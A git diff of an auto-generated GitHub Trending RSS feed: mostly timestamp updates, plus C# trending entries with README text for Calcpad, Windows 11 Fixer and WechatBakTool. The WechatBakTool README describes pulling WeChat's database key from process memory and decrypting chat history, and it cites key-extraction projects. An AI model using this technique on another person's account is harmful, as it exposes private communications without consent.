+ tag:github.com,2023-12-13:/gabrieldeolaguibel/DevOps-Banking-Infrastructure
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/bison/daily/index.xml b/bison/daily/index.xml
index f77f4fa4354..c7d3c3271a5 100644
--- a/bison/daily/index.xml
+++ b/bison/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Bison Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:38Z
+ 2023-12-13T01:27:09Z
Daily Trending of Bison in GitHub
\ No newline at end of file
diff --git a/bitbake/daily/index.xml b/bitbake/daily/index.xml
index 87f68f376a7..a6f46c08d17 100644
--- a/bitbake/daily/index.xml
+++ b/bitbake/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BitBake Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:41Z
+ 2023-12-13T01:27:13Z
Daily Trending of BitBake in GitHub
\ No newline at end of file
diff --git a/blade/daily/index.xml b/blade/daily/index.xml
index e6f898f457c..1eacb61ce7f 100644
--- a/blade/daily/index.xml
+++ b/blade/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Blade Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:43Z
+ 2023-12-13T01:27:11Z
Daily Trending of Blade in GitHub
\ No newline at end of file
diff --git a/blitzbasic/daily/index.xml b/blitzbasic/daily/index.xml
index b1083e27afd..f7ebfe70096 100644
--- a/blitzbasic/daily/index.xml
+++ b/blitzbasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BlitzBasic Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:37Z
+ 2023-12-13T01:27:09Z
Daily Trending of BlitzBasic in GitHub
\ No newline at end of file
diff --git a/blitzmax/daily/index.xml b/blitzmax/daily/index.xml
index 0cec7fb1500..f55bdadccf4 100644
--- a/blitzmax/daily/index.xml
+++ b/blitzmax/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BlitzMax Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:44Z
+ 2023-12-13T01:27:14Z
Daily Trending of BlitzMax in GitHub
\ No newline at end of file
diff --git a/bluespec/daily/index.xml b/bluespec/daily/index.xml
index 6736a942ad5..d72e28848bc 100644
--- a/bluespec/daily/index.xml
+++ b/bluespec/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Bluespec Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:45Z
+ 2023-12-13T01:27:15Z
Daily Trending of Bluespec in GitHub
\ No newline at end of file
diff --git a/boo/daily/index.xml b/boo/daily/index.xml
index 5d953167fa0..f091a736830 100644
--- a/boo/daily/index.xml
+++ b/boo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Boo Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:46Z
+ 2023-12-13T01:27:16Z
Daily Trending of Boo in GitHub
\ No newline at end of file
diff --git a/boogie/daily/index.xml b/boogie/daily/index.xml
index c05dda459f1..55a2dc4df58 100644
--- a/boogie/daily/index.xml
+++ b/boogie/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Boogie Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:50Z
+ 2023-12-13T01:27:19Z
Daily Trending of Boogie in GitHub
\ No newline at end of file
diff --git a/brainfuck/daily/index.xml b/brainfuck/daily/index.xml
index 98220915d25..10010b55906 100644
--- a/brainfuck/daily/index.xml
+++ b/brainfuck/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Brainfuck Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:48Z
+ 2023-12-13T01:27:18Z
Daily Trending of Brainfuck in GitHub
\ No newline at end of file
diff --git a/brightscript/daily/index.xml b/brightscript/daily/index.xml
index 270fd8455ec..4b19e0fc950 100644
--- a/brightscript/daily/index.xml
+++ b/brightscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Brightscript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:49Z
+ 2023-12-13T01:27:20Z
Daily Trending of Brightscript in GitHub
\ No newline at end of file
diff --git a/browserslist/daily/index.xml b/browserslist/daily/index.xml
index 4eb7cbf533a..d1402c8a4d8 100644
--- a/browserslist/daily/index.xml
+++ b/browserslist/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Browserslist Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:52Z
+ 2023-12-13T01:27:22Z
Daily Trending of Browserslist in GitHub
\ No newline at end of file
diff --git a/c%23/daily/index.xml b/c%23/daily/index.xml
index ad14842a5b3..bcac42005ad 100644
--- a/c%23/daily/index.xml
+++ b/c%23/daily/index.xml
@@ -1,21 +1,28 @@
GitHub C# Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:59Z
+ 2023-12-13T01:27:36Z
Daily Trending of C# in GitHub
- Proektsoftbg/Calcpad
- 2023-12-12T01:44:59Z
- tag:github.com,2023-12-12:/Proektsoftbg/Calcpad
-
- <p>Free and open source software for mathematical and engineering calculations.</p><hr><h1>Calcpad Readme</h1>
<p>Project Website: <a href="https://calcpad.eu">https://calcpad.eu</a></p>
<p>Calcpad is free software for mathematical and engineering calculations. It represents a flexible and modern programmable calculator with Html report generator. It is simple and easy to use, but it also includes many advanced features:</p>
<ul>
<li>real and complex numbers;</li>
<li>units of measurement (SI, Imperial and USCS);</li>
<li>custom variables and units;</li>
<li>built-in library with common math functions;</li>
<li>custom functions of multiple parameters f(x; y; z; ...);</li>
<li>powerful numerical methods for root and extremum finding, numerical integration and differentiation;</li>
<li>finite sum, product and iteration procedures;</li>
<li>modules, macros and string variables;</li>
<li>program flow control with conditions and loops;</li>
<li>"titles" and 'text' comments in quotes;</li>
<li>support for Html and CSS in comments for rich formatting;</li>
<li>function plotting, images, tables, parametric SVG drawings, etc.;</li>
<li>automatic generation of Html forms for data input;</li>
<li>professional looking Html reports for viewing and printing;</li>
<li>export to Word documents (*.docx) and PDF;</li>
<li>variable substitution and smart rounding of numbers;</li>
<li>output visibility control and content folding;</li>
<li>support for plain text (*.txt, *.cpd) and binary (*.cpdz) file formats.</li>
</ul>
<p>This software is developed using the C# programming language and the latest computer technologies. It automatically parses the input, substitutes the variables, calculates the expressions and displays the output. All results are sent to a professional looking Html report for viewing and printing.</p>
<p><img src="https://github.com/Proektsoftbg/Calcpad/raw/main/Help/Images/Sample.png?raw=true" alt="Sample"></p>
<h2>Fields of application</h2>
<p>This software is suitable for engineers and other professionals that need to perform repetitive calculations and present them in official documentation such as calculation notes. They can automate this task efficiently by creating powerful and reliable Calcpad worksheets. It can also help teachers to prepare calculation examples, papers, manuals, books etc. Students can use it to solve various problems, prepare homeworks, phd theses etc.</p>
<h2>Installation</h2>
<p>The installation is performed by the automated setup program <a href="https://github.com/Proektsoftbg/Calcpad/raw/main/Setup/calcpad-setup-en-x64.exe">calcpad-setup-en-x64.exe</a>. Follow the instruction of the setup wizard. The software requires a 64 bit computer with Windows 10/11 and <a href="https://dotnet.microsoft.com/en-us/download/dotnet/8.0">Microsoft .NET 8.0</a>.<br> You can also use Calcpad directly in the browser from our website: <a href="https://calcpad.eu/Ide">https://calcpad.eu/Ide</a></p>
<h2>Licensing and terms of use</h2>
<p>This software is free for both commercial and non-commercial use. It is distributed under the MIT license:</p>
<p>Copyright © 2021 PROEKTSOFT EOOD®</p>
<p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p>
<p>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</p>
<p>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>
<p>Any scripts, developed with Calcpad are property of the respective authors. They can be used without additional limitations except those appointed by the authors themselves.</p>
<h3>Acknowledgments</h3>
<p>This project uses some additional third party components, software and design. They are re-distributed free of charge, under the license conditions, provided by the respective authors.</p>
<ol>
<li>The new and beautiful icons are created using <a href="https://icons8.com/">icons8.com</a>.</li>
<li>The pdf export was made possible thanks to the <a href="https://wkhtmltopdf.org/">wkhtmltopdf.org</a> project.</li>
<li>Some symbols are displayed, using the Jost* font family by <a href="https://indestructibletype.com/">indestructible type*</a>, under the <a href="https://scripts.sil.org/cms/scripts/page.php?item_id=OFL_web">SIL open font license</a>. Square brackets are slightly modified to suit the application needs.</li>
</ol>
<h2>How it works</h2>
<p>The software is quick and easy to use. Just follow these simple steps:</p>
<ol>
<li><strong>Enter</strong> text and formulas into the "<strong>Code</strong>" box on the left.</li>
<li>Press <strong>F5</strong> or click <img alt="Play" height="24" src="https://github.com/Proektsoftbg/Calcpad/raw/main/Help/Images/Play.png"> to calculate. Results will appear in the "<strong>Output</strong>" box on the right as a professionally formatted Html <strong>report</strong>.</li>
<li>Click <img alt="PrintPreview" height="24" src="https://github.com/Proektsoftbg/Calcpad/raw/main/Help/Images/PrintPreview.png"> to <strong>print</strong> or <img alt="Copy" height="24" src="https://github.com/Proektsoftbg/Calcpad/raw/main/Help/Images/Copy.png"> to <strong>copy</strong> the output.<br> You can also <strong>export</strong> it to <strong>Html</strong> <img alt="Html" height="24" src="https://github.com/Proektsoftbg/Calcpad/raw/main/Help/Images/Save.png">, <strong>PDF</strong> <img alt="PDF" height="24" src="https://github.com/Proektsoftbg/Calcpad/raw/main/Help/Images/Pdf.png"> or <strong>MS Word</strong> <img alt="Word" height="24" src="https://github.com/Proektsoftbg/Calcpad/raw/main/Help/Images/Word.png"> document.</li>
</ol>
<h2>The language</h2>
<p>Calcpad uses a simple programming language that includes the following elements:</p>
<ul>
<li>Real numbers: digits 0 - 9 and decimal point ".";</li>
<li>Complex numbers: re ± imi (e.g. 3 - 2i);</li>
<li>Variables:<br> - Latin letters: a - z, A - Z;<br> - Greek letters: α - ω, Α - Ω;<br> - digits: 0 - 9;<br> - comma: " , ";<br> - prime symbols: ′ , ″ , ‴ , ⁗ ;<br> - superscripts: ⁰ , ¹ , ² , ³ , ⁴ , ⁵ , ⁶ , ⁷ , ⁸ , ⁹ , ⁿ , ⁺ , ⁻ ;<br> - special symbols: ‾ , ø , Ø , ° , ∡ ;<br> - " _ " for subscript;<br> A variable name must start with a letter. Names are case sensitive.</li>
<li>Operators:<br> "<strong>!</strong>" - factorial;<br> "<strong>^</strong>" - exponent;<br> "<strong>/</strong>" - division;<br> "<strong>÷</strong>" - force division bar;<br> "<strong>\</strong>" - integer division;<br> "<strong>⦼</strong>" - modulo (reminder);<br> "<strong>*</strong>" - multiplication;<br> "<strong>-</strong>" - minus;<br> "<strong>+</strong>" - plus;<br> "<strong>≡</strong>" - equal to;<br> "<strong>≠</strong>" - not equal to;<br> "<strong><</strong>" - less than;<br> "<strong>></strong>" - greater than;<br> "<strong>≤</strong>" - less or equal;<br> "<strong>≥</strong>" - greater or equal;<br> "<strong>∧</strong>" - logical "AND";<br> "<strong>∨</strong>" - logical "OR";<br> "<strong>⊕</strong>" - logical "XOR";<br> "<strong>=</strong>" - assignment;</li>
<li>Custom functions of type f (x; y; z; ... );</li>
<li>Built-in functions:<br> Trigonometric:<br> <strong>sin</strong>(x) - sine;<br> <strong>cos</strong>(x) - cosine;<br> <strong>tan</strong>(x) - tangent;<br> <strong>csc</strong>(x) - cosecant;<br> <strong>sec</strong>(x) - secant;<br> <strong>cot</strong>(x) - cotangent;<br> Hyperbolic:<br> <strong>sinh</strong>(x) - hyperbolic sine;<br> <strong>cosh</strong>(x) - hyperbolic cosine;<br> <strong>tanh</strong>(x) - hyperbolic tangent;<br> <strong>csch</strong>(x) - hyperbolic cosecant;<br> <strong>sech</strong>(x) - hyperbolic secant;<br> <strong>coth</strong>(x) - hyperbolic cotangent;<br> Inverse trigonometric:<br> <strong>asin</strong>(x) - inverse sine;<br> <strong>acos</strong>(x) - inverse cosine;<br> <strong>atan</strong>(x) - inverse tangent;<br> <strong>atan2</strong>(x; y) - the angle whose tangent is the quotient of y and x;<br> <strong>acsc</strong>(x) - inverse cosecant;<br> <strong>asec</strong>(x) - inverse secant;<br> <strong>acot</strong>(x) - inverse cotangent;<br> Inverse hyperbolic:<br> <strong>asinh</strong>(x) - inverse hyperbolic sine;<br> <strong>acosh</strong>(x) - inverse hyperbolic cosine;<br> <strong>atanh</strong>(x) - inverse hyperbolic tangent;<br> <strong>acsch</strong>(x) - inverse hyperbolic cosecant;<br> <strong>asech</strong>(x) - inverse hyperbolic secant;<br> <strong>acoth</strong>(x) - inverse hyperbolic cotangent;<br> Logarithmic, exponential and roots:<br> <strong>log</strong>(x) - decimal logarithm;<br> <strong>ln</strong>(x) - natural logarithm;<br> <strong>log_2</strong>(x) - binary logarithm;<br> <strong>exp</strong>(x) - natural exponent;<br> <strong>sqr</strong>(x) / sqrt(x) - square root;<br> <strong>cbrt</strong>(x) - cubic root;<br> <strong>root</strong>(x; n) - n-th root;<br> Rounding:<br> <strong>round</strong>(x) - round to the nearest integer;<br> <strong>floor</strong>(x) - round to the smaller integer (towards -∞);<br> <strong>ceiling</strong>(x) - round to the greater integer (towards +∞);<br> <strong>trunc</strong>(x) - round to the smaller integer (towards zero);<br> Integer:<br> <strong>mod</strong>(x; y) - the reminder of an integer division;<br> <strong>gcd</strong>(x; y) - the greatest common divisor of two integers;<br> <strong>lcm</strong>(x; y) - the least common multiple of two integers;<br> Complex:<br> <strong>abs</strong>(x) - absolute value/magnitude;<br> <strong>re</strong>(x) - the real part of a complex number;<br> <strong>im</strong>(x) - the imaginary part of a complex number;<br> <strong>phase</strong>(x) - the phase of a complex number;<br> Aggregate and interpolation:<br> <strong>min</strong>(x; y; z...) - minimum of multiple values;<br> <strong>max</strong>(x; y; z...) - maximum of multiple values;<br> <strong>sum</strong>(x; y; z...) - sum of multiple values = x + y + z...;<br> <strong>sumsq</strong>(x; y; z...) - sum of squares = x² + y² + z²...;<br> <strong>srss</strong>(x; y; z...) - square root of sum of squares = sqrt(x² + y² + z²...);<br> <strong>average</strong>(x; y; z...) - average of multiple values = (x + y + z...)/n;<br> <strong>product</strong>(x; y; z...) - product of multiple values = x·y·z...;<br> <strong>mean</strong>(x; y; z...) - geometric mean = n-th root(x·y·z...);<br> <strong>take</strong>(n; a; b; c...) - returns the n-th element from the list;<br> <strong>line</strong>(x; a; b; c...) - linear interpolation;<br> <strong>spline</strong>(x; a; b; c...) - Hermite spline interpolation;<br> Conditional and logical:<br> <strong>if</strong>(<em>cond</em>; <em>value-if-true</em>; <em>value-if-false</em>) - conditional evaluation;<br> <strong>switch</strong>(<em>cond1</em>; <em>value1</em>; <em>cond2</em>; <em>value2</em>; … ; <em>default</em>) - selective evaluation;<br> <strong>not</strong>(x) - logical "NOT";<br> <strong>and</strong>(x; y; z...) - logical "AND";<br> <strong>or</strong>(x; y; z...) - logical "OR";<br> <strong>xor</strong>(x; y; z...) - logical "XOR";<br> Other:<br> <strong>sign</strong>(x) - the sign of a number;<br> <strong>random</strong>(x) - random number between 0 and x;</li>
<li>Comments: "Title" or 'text' in double or single quotes, respectively. HTML, CSS, JS and SVG are allowed.</li>
<li>Graphing and plotting:<br> $Plot { f(x) @ x = a : b } - simple plot;<br> $Plot { x(t) | y(t) @ t = a : b } - parametric;<br> $Plot { f1(x) & f2(x) & ... @ x = a : b } - multiple;<br> $Plot { x1(t) | y1(t) & x2(t) | y2(t) & ... @ x = a : b } - multiple parametric;<br> $Map { f(x; y) @ x = a : b & y = c : d } - 2D color map of a 3D surface;<br> PlotHeight - height of plot area in pixels;<br> PlotWidth - width of plot area in pixels;</li>
<li>Iterative and numerical methods:<br> $Root { f(x) = const @ x = a : b } - root finding for f(x) = const;<br> $Root { f(x) @ x = a : b } - root finding for f(x) = 0;<br> $Find { f(x) @ x = a : b } - similar to above, but x is not required to be a precise solution;<br> $Sup { f(x) @ x = a : b } - local maximum of a function;<br> $Inf { f(x) @ x = a : b } - local minimum of a function;<br> $Area { f(x) @ x = a : b } - adaptive Gauss-Lobatto numerical integration;<br> $Integral { f(x) @ x = a : b } - Tanh-Sinh numerical integration;<br> $Slope { f(x) @ x = a } - numerical differentiation;<br> $Sum { f(k) @ k = a : b } - iterative sum;<br> $Product { f(k) @ k = a : b } - iterative product;<br> $Repeat { f(k) @ k = a : b } - general inline iterative procedure;<br> Precision - relative precision for numerical methods [10<sup>-2</sup>; 10<sup>-16</sup>] (default is 10<sup>-12</sup>)</li>
<li>Program flow control:<br> Simple:<br> #if <em>condition</em><br> <em>Your code goes here</em><br> #end if<br> Alternative:<br> #if <em>condition</em><br> <em>Your code goes here</em><br> #else<br> <em>Some other code</em><br> #end if<br> Complete:<br> #if <em>condition1</em><br> <em>Your code goes here</em><br> #else if <em>condition2</em><br> <em>Your code goes here</em><br> #else<br> <em>Some other code</em><br> #end if<br> You can add or omit as many "#else if's" as needed. Only one "#else" is allowed. You can omit this too.</li>
<li>Iteration blocks:<br> Simple:<br> #repeat <em>number of repetitions</em><br> <em>Your code goes here</em><br> #loop<br> With conditional break/coutinue:<br> #repeat <em>number of repetitions</em><br> <em>Your code goes here</em><br> #if <em>condition</em><br> #break or #continue<br> #end if<br> <em>Some more code</em><br> #loop</li>
<li>Modules and macros/string variables:<br> Modules:<br> #include <em>filename</em> - include external file (module);<br> #local - start local section (not to be included);<br> #global - start global section (to be included);<br> Inline string variable:<br> #def <em>variable_name$</em> = <em>content</em><br> Multiline string variable:<br> #def <em>variable_name$</em><br> <em>content line 1</em><br> <em>content line 2</em><br> ...<br> #end def<br> Inline string macro:<br> #def <em>macro_name$</em>(<em>param1$</em>; <em>param2$</em>;...) = <em>content</em><br> Multiline string macro:<br> #def <em>macro_name$</em>(<em>param1$</em>; <em>param2$</em>;...)<br> <em>content line 1</em><br> <em>content line 2</em><br> ...<br> #end def</li>
<li>Output control:<br> #hide - hide the report contents;<br> #show - always show the contents (default);<br> #pre - show the next contents only before calculations;<br> #post - show the next contents only after calculations;<br> #val - show only the final result, without the equation;<br> #equ - show complete equations and results (default);<br> #noc - show only equations without results (no calculations);<br> #nosub - do not substitute variables (no substitution);<br> #novar - show equations only with substituted values (no variables);<br> #varsub - show equations with variables and substituted values (default);<br> #split - split equations that do not fit on a single line;<br> #wrap - wrap equations that do not fit on a single line (default);<br> #round n - rounds to n digits after the decimal point.<br> Each of the above commands is effective after the current line until the end of the report or another command that overwrites it.</li>
<li>Breakpoints for step-by-step execution:<br> #pause - calculates to the current line and waits until resumed manually;<br> #input - renders an input form to the current line and waits for user input.</li>
<li>Switches for trigonometric units: #deg - degrees, #rad - radians, #gra - gradians;</li>
<li>Separator for target units: |, for example: <code>3ft + 12in|cm</code> will show 121.92 cm;</li>
<li>Dimensionless: %, ‰;</li>
<li>Angle units: °, ′, ″, deg, rad, grad, rev;</li>
<li>Metric units (SI and compatible):<br> Mass: g, hg, kg, t, kt, Mt, Gt, dg, cg, mg, μg, Da, u;<br> Length: m, km, dm, cm, mm, μm, nm, pm, AU, ly;<br> Time: s, ms, μs, ns, ps, min, h, d, w, y;<br> Frequency: Hz, kHz, MHz, GHz, THz, mHz, μHz, nHz, pHz, rpm;<br> Speed: kmh;<br> Electric current: A, kA, MA, GA, TA, mA, μA, nA, pA;<br> Temperature: °C, Δ°C, K;<br> Amount of substance: mol;<br> Luminous intensity: cd;<br> Area: a, daa, ha;<br> Volume: L, daL, hL, dL, cL, mL, μL, nL, pL;<br> Force: dyn N, daN, hN, kN, MN, GN, TN, gf, kgf, tf;<br> Moment: Nm, kNm;<br> Pressure: Pa, daPa, hPa, kPa, MPa, GPa, TPa, dPa, cPa, mPa, μPa, nPa, pPa,<br> bar, mbar, μbar, atm, at, Torr, mmHg;<br> Viscosity: P, cP, St, cSt;<br> Energy work: J, kJ, MJ, GJ, TJ, mJ, μJ, nJ, pJ,<br> Wh, kWh, MWh, GWh, TWh, mWh, μWh, nWh, pWh<br> eV, keV, MeV, GeV, TeV, PeV, EeV, cal, kcal, erg;<br> Power: W, kW, MW, GW, TW, mW, μW, nW, pW, hpM, ks;<br> VA, kVA, MVA, GVA, TVA, mVA, μVA, nVA, pVA,<br> VAR, kVAR, MVAR, GVAR, TVAR, mVAR, μVAR, nVAR, pVAR, hpM, ks;<br> Electric charge: C, kC, MC, GC, TC, mC, μC, nC, pC, Ah, mAh;<br> Potential: V, kV, MV, GV, TV, mV, μV, nV, pV;<br> Capacitance: F, kF, MF, GF, TF, mF, μF, nF, pF;<br> Resistance: Ω, kΩ, MΩ, GΩ, TΩ, mΩ, μΩ, nΩ, pΩ;<br> Conductance: S, kS, MS, GS, TS, mS, μS, nS, pS, ℧, k℧, M℧, G℧, T℧, m℧, μ℧, n℧, p℧;<br> Magnetic flux: Wb , kWb, MWb, GWb, TWb, mWb, μWb, nWb, pWb;<br> Magnetic flux density: T, kT, MT, GT, TT, mT, μT, nT, pT;<br> Inductance: H, kH, MH, GH, TH, mH, μH, nH, pH;<br> Luminous flux: lm;<br> Illuminance: lx;<br> Radioactivity: Bq, kBq, MBq, GBq, TBq, mBq, μBq, nBq, pBq, Ci, Rd;<br> Absorbed dose: Gy, kGy, MGy, GGy, TGy, mGy, μGy, nGy, pGy;<br> Equivalent dose: Sv, kSv, MSv, GSv, TSv, mSv, μSv, nSv, pSv;<br> Catalytic activity: kat;</li>
<li>Non-metric units (Imperial/US):<br> Mass: gr, dr, oz, lb (or lbm, lb_m), klb, kipm (or kip_m), st, qr,<br> cwt (or cwt_UK, cwt_US), ton (or ton_UK, ton_US), slug;<br> Length: th, in, ft, yd, ch, fur, mi, ftm (or ftm_UK, ftm_US),<br> cable (or cable_UK, cable_US), nmi, li, rod, pole, perch, lea;<br> Speed: mph, knot;<br> Temperature: °F, Δ°F, °R;<br> Area: rood, ac;<br> Volume, fluid: fl_oz, gi, pt, qt, gal, bbl, or:<br> fl_oz_UK, gi_UK, pt_UK, qt_UK, gal_UK, bbl_UK,<br> fl_oz_US, gi_US, pt_US, qt_US, gal_US, bbl_US,<br> Volume, dry: (US) pt_dry, (US) qt_dry, (US) gal_dry, (US) bbl_dry,<br> pk (or pk_UK, pk_US), bu (or bu_UK, bu_US);<br> Force: ozf (or oz_f), lbf (or lb_f), kip (or kipf, kip_f), tonf (or ton_f), pdl;<br> Pressure: osi, osf psi, psf, ksi, ksf, tsi, tsf, inHg;<br> Energy/work: BTU, therm, (or therm_UK, therm_US), quad;<br> Power: hp, hpE, hpS;</li>
<li>Custom units - .Name = expression.<br> Names can include currency symbols: €, £, ₤, ¥, ¢, ₽, ₹, ₩, ₪.</li>
</ul>
+ SuxueCode/WechatBakTool
+ 2023-12-13T01:27:36Z
+ tag:github.com,2023-12-13:/SuxueCode/WechatBakTool
+
+ <p>基于C#的微信PC版聊天记录备份工具,提供图形界面,解密微信数据库并导出聊天记录。</p><hr><h1>WechatBakTool</h1>
<p>基于C#开发的微信聊天记录备份分析工具,努力做最好用的微信备份工具。</p>
<ul>
<li>理论支持64位版本所有微信[1]</li>
<li>工作区概念,支持多微信切换操作。</li>
<li>支持导出Html文件,TXT文件,支持批量导出</li>
<li>支持聊天频率分析,全消息库内容搜索</li>
<li>目前支持以下类型消息解析</li>
<li><input type="checkbox" checked disabled> 文本消息</li>
<li><input type="checkbox" checked disabled> 图片</li>
<li><input type="checkbox" checked disabled> 语音</li>
<li><input type="checkbox" checked disabled> 分享链接</li>
<li><input type="checkbox" checked disabled> 群聊</li>
<li><input type="checkbox" checked disabled> 系统消息</li>
<li><input type="checkbox" disabled> 文件</li>
<li><input type="checkbox" disabled> 表情</li>
</ul>
<p>如果有什么好的建议或意见,或者遇到什么问题,欢迎提issue,看到会回。</p>
<blockquote>
<p>[!NOTE] 反馈群:815054692<br> 如果觉得不错,欢迎右上角点个star!这是对作者的鼓励,谢谢!<br></p>
</blockquote>
<br>
<h3>免责声明</h3>
<p><strong>本项目仅供学习使用,严禁商业使用</strong><br> <strong>使用本项目初衷是作者研究微信数据库的运行使用,您使用本软件导致的后果,包含但不限于数据损坏,记录丢失等问题,作者不承担相关责任。</strong><br> <strong>因软件特殊性质,请在使用时获得微信账号所有人授权。</strong> <br></p>
<h3>近期开发规划</h3>
<p>本项目技术栈为: C# + .NET6.0 + WPF MVVM(目前MVVM不是特别完全!莫喷!) <br></p>
<ul>
<li><input type="checkbox" checked disabled> <del>新版本UI界面开发</del></li>
<li><input type="checkbox" disabled> 完善各类消息支持</li>
<li><input type="checkbox" disabled> 性能优化</li>
<li><input type="checkbox" disabled> 打包资源文件夹</li>
<li><input type="checkbox" disabled> 手动模式(合适离线分析)</li>
</ul>
<br>
<h3>使用说明</h3>
<p><strong>本说明为新版本说明,即将发版</strong><br> 0.安装.NET Desktop Runtime(如已经安装忽略)<br> 1.打开微信,并登录。<br> 2.在软件左侧下方点击<strong>新建工作区</strong>,<br> 3.在<strong>新建工作区界面</strong>,选择要创建工作区的微信进程,并<strong>确认下方微信号是否正确</strong><br> 4.解密方式<strong>推荐选择用户名推断查找</strong>!该方式理论支持所有64位版本微信。<strong>但该模式需要确保微信账号正确</strong><br> 5.新手请忽略其他选项,直接<strong>点击创建工作区</strong>,程序会自动进行工作区创建、解密。<br><br> <strong>工作区创建完毕,点击左侧工作区,尽情使用吧!</strong><br> <br></p>
<h3>参考/引用</h3>
<p>项目在开发过程中参考了以下项目或资料,有引用相关代码,如有需要,推荐您可以去参考下相关资料:</p>
<ol>
<li>C#使用OpenSSL解密微信数据库,这里注意一下64位适配问题,注意dll引用: <a href="https://github.com/Mr0x01/WXDBDecrypt.NET">Mr0x01/WXDBDecrypt.NET</a><br></li>
<li>C#使用地址获取微信Key: <a href="https://github.com/AdminTest0/SharpWxDump">AdminTest0/SharpWxDump</a></li>
<li>解密微信语音,我是直接调用解密,反正都要ffmpeg,多一个也是多,多两个也是多,懒得头铁实现: <a href="https://github.com/kn007/silk-v3-decoder">kn007/silk-v3-decoder</a></li>
<li>解密微信图片 <a href="https://www.52pojie.cn/forum.php?mod=viewthread&tid=1507922">吾爱破解chenhahacjl/微信 DAT 图片解密 (C#)</a></li>
<li>参考了句柄名称实现,注意获取句柄别看这里,#10 这个issue就是血泪 <a href="https://github.com/huiyadanli/RevokeMsgPatcher">huiyadanli/RevokeMsgPatcher</a></li>
<li>参考了句柄获取 <a href="https://github.com/FuzzySecurity/Sharp-Suite">FuzzySecurity/Sharp-Suite</a></li>
</ol>
<h3>其他声明</h3>
<p>[1] 理论支持所有64位版本指用户名推断获取Key模式,地址直接获取方式需要version.json支持,更新不是很及时。</p>
- 99natmar99/Windows-11-Fixer
- 2023-12-12T01:44:59Z
- tag:github.com,2023-12-12:/99natmar99/Windows-11-Fixer
-
- <p>A tool to "Fix" Windows 11</p><hr><h1>Windows 11 Fixer <br> <a href="https://github.com/99natmar99/Windows-11-Fixer/releases/tag/v2.1.0"><img src="https://img.shields.io/github/v/release/99natmar99/Windows-11-Fixer?style=flat-square" alt="Latest Release"></a> <a href="https://github.com/99natmar99/Windows-11-Fixer/releases/download/v2.1.0/Windows.11.Fixer.v2.1.0.Portable.zip"><img src="https://img.shields.io/github/downloads/99natmar99/Windows-11-Fixer/total?style=flat-square" alt="Latest Release"></a> <a href="https://github.com/99natmar99/Windows-11-Fixer/raw/master/LICENSE"><img src="https://img.shields.io/github/license/99natmar99/Windows-11-Fixer?style=flat-square" alt="Latest Release"></a></h1>
<p><img src="https://github.com/99natmar99/Windows-11-Fixer/raw/master/Images/FixWin-Light.png" alt="screenshot"></p>
<h2>About</h2>
<p>Windows 11 Fixer is a program designed to make customizing your Windows 11 as easy as possible. Windows 11 Fixer provides one easy to use location to customize Windows 11, change a large amount of Windows settings (including security settings), uninstall undesired Windows software, and install most of the programs you'll want or need.</p>
<h2>Features</h2>
<ul>
<li>Customize the look and feel of the taskbar.</li>
<li>Adjust the right-click context menu to your liking.</li>
<li>Modify file explorer, and adjust file and folder options with ease.</li>
<li>Adjust a large range of Windows settings, including plenty of privacy and security settings.</li>
<li>Uninstall any undesired Windows software including Cortana and Microsoft Edge.</li>
<li>Install additional programs to help enhance and customize Windows 11 to your liking.</li>
<li>Install most commonly used progams, including internet browsers, game launchers, audio and video streaming, etc.</li>
</ul>
<h2>Downloads</h2>
<table>
<thead>
<tr>
<th>Latest Release (v2.1.0)</th>
<th>Portable</th>
<th>Lite</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/99natmar99/Windows-11-Fixer/releases/tag/v2.1.0">Release Notes</a></td>
<td><a href="https://github.com/99natmar99/Windows-11-Fixer/releases/download/v2.1.0/Windows.11.Fixer.v2.1.0.Portable.zip">Download</a></td>
<td><a href="https://github.com/99natmar99/Windows-11-Fixer/releases/download/v2.1.0/Windows.11.Fixer.v2.1.0.Lite.zip">Download</a></td>
</tr>
</tbody>
</table>
<p>The Lite version of Windows 11 Fixer requires .NET 5.0 to be installed in order to run. If you do not have this installed, an installer has been included with the program.</p>
<h2>Images</h2>
<h3>Windows Settings</h3>
